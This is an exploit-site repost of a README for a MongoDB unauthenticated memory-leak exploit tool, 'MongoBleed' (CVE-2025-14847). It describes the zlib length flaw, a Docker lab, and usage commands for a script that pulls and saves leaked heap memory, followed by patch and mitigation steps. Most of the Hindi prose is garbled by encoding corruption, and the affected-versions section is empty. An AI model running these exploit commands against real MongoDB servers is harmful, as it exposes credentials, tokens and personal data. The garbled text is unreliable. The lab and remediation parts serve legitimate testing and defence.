Sploitus

CVE-2025-14847-MongoBleed-Exploit

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN212 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FURKANKAYAPINAR-CVE-2025-14847-MONGOBLEED-EXPLOIT
# CVE-2025-14847 - MongoBleed

![Python](https://img.shields.io/badge/Python-3.8+-blue.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg) ![CVE](https://img.shields.io/badge/CVE-2025--14847-red.svg)

> **ЁЯСитАНЁЯТ╗ рд▓реЗрдЦрдХ:** Furkan KAYAPINAR (@FurkanKAYAPINAR)

> **тЪая╕П рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдп**

MongoDB рд╕рд░реНрд╡рд░ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдореЗрдореЛрд░реА-рд▓реАрдХ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдФрд░ рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯред

* * *

## ЁЯУЛ рд╡рд┐рд╖рдп-рд╕реВрдЪреА

  * рднреЗрджреНрдпрддрд╛ рдЕрд╡рд▓реЛрдХрди

  * рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

  * рд╕реНрдерд╛рдкрдирд╛

  * рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг

  * рдЙрдкрдпреЛрдЧ

  * рдЙрдкрдЪрд╛рд░

  * рдХрд╛рдиреВрдиреА рдЕрд╕реНрд╡реАрдХрд░рдг




* * *

## ЁЯФ┤ рднреЗрджреНрдпрддрд╛ рдЕрд╡рд▓реЛрдХрди

**CVE-2025-14847 (MongoBleed)** MongoDB рд╕рд░реНрд╡рд░ рдХреЗ zlib рд╕рдВрдкреАрдбрд╝рди рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдореЗрдореЛрд░реА-рд▓реАрдХ рднреЗрджреНрдпрддрд╛ рд╣реИред

### рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг

рднреЗрджреНрдпрддрд╛ `message_compressor_zlib.cpp` рдореЗрдВ рдореМрдЬреВрдж рд╣реИред `OP_COMPRESSED` рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╕рдордп:

  1. рд╣рдорд▓рд╛рд╡рд░ рдЕрд╕рдВрдЧрдд рд▓рдВрдмрд╛рдИ рдлрд╝реАрд▓реНрдб рдХреЗ рд╕рд╛рде рдирд┐рд░реНрдорд┐рдд рд╕рдВрджреЗрд╢ рднреЗрдЬрддрд╛ рд╣реИ
  2. рд╕рд░реНрд╡рд░ рдШреЛрд╖рд┐рдд `uncompressedSize` рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрдлрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ
  3. рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбреАрдХрдВрдкреНрд░реЗрд╕реНрдб рдбреЗрдЯрд╛ рдШреЛрд╖рд┐рдд рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛрддрд╛ рд╣реИ
  4. рд╕рд░реНрд╡рд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбреЗрдЯрд╛ рд▓рдВрдмрд╛рдИ рдХреЗ рдмрдЬрд╛рдп рдЖрд╡рдВрдЯрд┐рдд рдмрдлрд░ рд▓рдВрдмрд╛рдИ рд▓реМрдЯрд╛рддрд╛ рд╣реИ
  5. **рдЕрдкреНрд░рд╛рд░рдВрднрд┐рдд рд╣реАрдк рдореЗрдореЛрд░реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓реАрдХ рд╣реЛ рдЬрд╛рддреА рд╣реИ**



### рдкреНрд░рднрд╛рд╡

рд▓реАрдХ рдбреЗрдЯрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

  * ЁЯФС рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрди рдФрд░ рд░рд╣рд╕реНрдп
  * ЁЯЧДя╕П рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рддреНрд░ рдбреЗрдЯрд╛
  * ЁЯСд PII (рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдкрд╣рдЪрд╛рди рдпреЛрдЧреНрдп рдЬрд╛рдирдХрд╛рд░реА)
  * ЁЯФР API рдХреБрдВрдЬрд┐рдпрд╛рдБ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб
  * тЪЩя╕П рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╡рд┐рд╡рд░рдг



* * *

## ЁЯУж рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

* * *

## ЁЯЪА рд╕реНрдерд╛рдкрдирд╛

root@kitploit:~
    
    
    # Clone repository
    git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
    cd CVE-2025-14847-MongoDB
    
    # Create virtual environment
    python3 -m venv venv
    source venv/bin/activate  # Linux/macOS
    # venv\Scripts\activate   # Windows
    
    # Install dependencies
    pip install -r requirements.txt
    

* * *

## ЁЯзк рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг

рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рднреЗрджреНрдп MongoDB рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ:

root@kitploit:~
    
    
    cd lab
    
    # Start vulnerable MongoDB (6.0.26 with zlib enabled)
    docker-compose up -d
    
    # Verify it's running
    docker-compose ps
    
    # Load sample data (optional)
    ./setup.sh load-data
    
    # Stop lab
    docker-compose down
    

* * *

## ЁЯТА рдЙрдкрдпреЛрдЧ

### рдмреБрдирд┐рдпрд╛рджреА рд╢реЛрд╖рдг

root@kitploit:~
    
    
    # Single target
    python exploit/mongobleed.py -u 127.0.0.1
    
    # With specific port
    python exploit/mongobleed.py -u 127.0.0.1 -p 27017
    
    # Save leaked data to file
    python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin
    
    # Multiple iterations for more data
    python exploit/mongobleed.py -u 127.0.0.1 -i 20
    
    # Quiet mode (less output)
    python exploit/mongobleed.py -u 127.0.0.1 -q
    
    # Without hex dump (text output)
    python exploit/mongobleed.py -u 127.0.0.1 --text
    

* * *

## ЁЯФз рдЙрдкрдЪрд╛рд░

### рд╡рд┐рдХрд▓реНрдк 1: рдЕрдкрдЧреНрд░реЗрдб (рдЕрдиреБрд╢рдВрд╕рд┐рдд)

root@kitploit:~
    
    
    # Update to patched version
    # Example for MongoDB 6.x
    sudo apt-get update
    sudo apt-get install mongodb-org=6.0.27
    

### рд╡рд┐рдХрд▓реНрдк 2: zlib рд╕рдВрдкреАрдбрд╝рди рдЕрдХреНрд╖рдо рдХрд░реЗрдВ

root@kitploit:~
    
    
    # Start mongod without zlib
    mongod --networkMessageCompressors snappy,zstd
    
    # Or in mongod.conf
    net:
      compression:
        compressors: snappy,zstd
    

### рд╕реБрдзрд╛рд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ

root@kitploit:~
    
    
    python remediation/verify_fix.py --target 127.0.0.1 --port 27017
    

* * *

## тЪЦя╕П рдХрд╛рдиреВрдиреА рдЕрд╕реНрд╡реАрдХрд░рдг

> **ЁЯЪи рдЪреЗрддрд╛рд╡рдиреА**
> 
> рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ **рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
> 
>   * рдХрдВрдкреНрдпреВрдЯрд░ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдЕрд╡реИрдз рд╣реИ
>   * рдЖрдк рдЕрдкрдиреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреВрд░реА рддрд░рд╣ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВ
>   * рд▓реЗрдЦрдХ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рджреЗрдпрддрд╛ рдирд╣реАрдВ рд▓реЗрддреЗ рд╣реИрдВ
> 


**рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рд╕рд╣рдордд рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдЙрдЪрд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реИред**

* * *

## ЁЯУЪ рд╕рдВрджрд░реНрдн

  * NVD - CVE-2025-14847
  * MongoDB рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░
  * Varonis - MongoBleed рд╡рд┐рд╢реНрд▓реЗрд╖рдг



* * *

## ЁЯдЭ рдпреЛрдЧрджрд╛рди

рдпреЛрдЧрджрд╛рди рдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ! рдХреГрдкрдпрд╛ рдкрд╣рд▓реЗ CONTRIBUTING.md рдкрдврд╝реЗрдВред

* * *

## ЁЯУД рд▓рд╛рдЗрд╕реЗрдВрд╕

рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ MIT рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рддрд╣рдд рд▓рд╛рдЗрд╕реЗрдВрд╕ рдкреНрд░рд╛рдкреНрдд рд╣реИ - LICENSE рдлрд╝рд╛рдЗрд▓ рджреЗрдЦреЗрдВред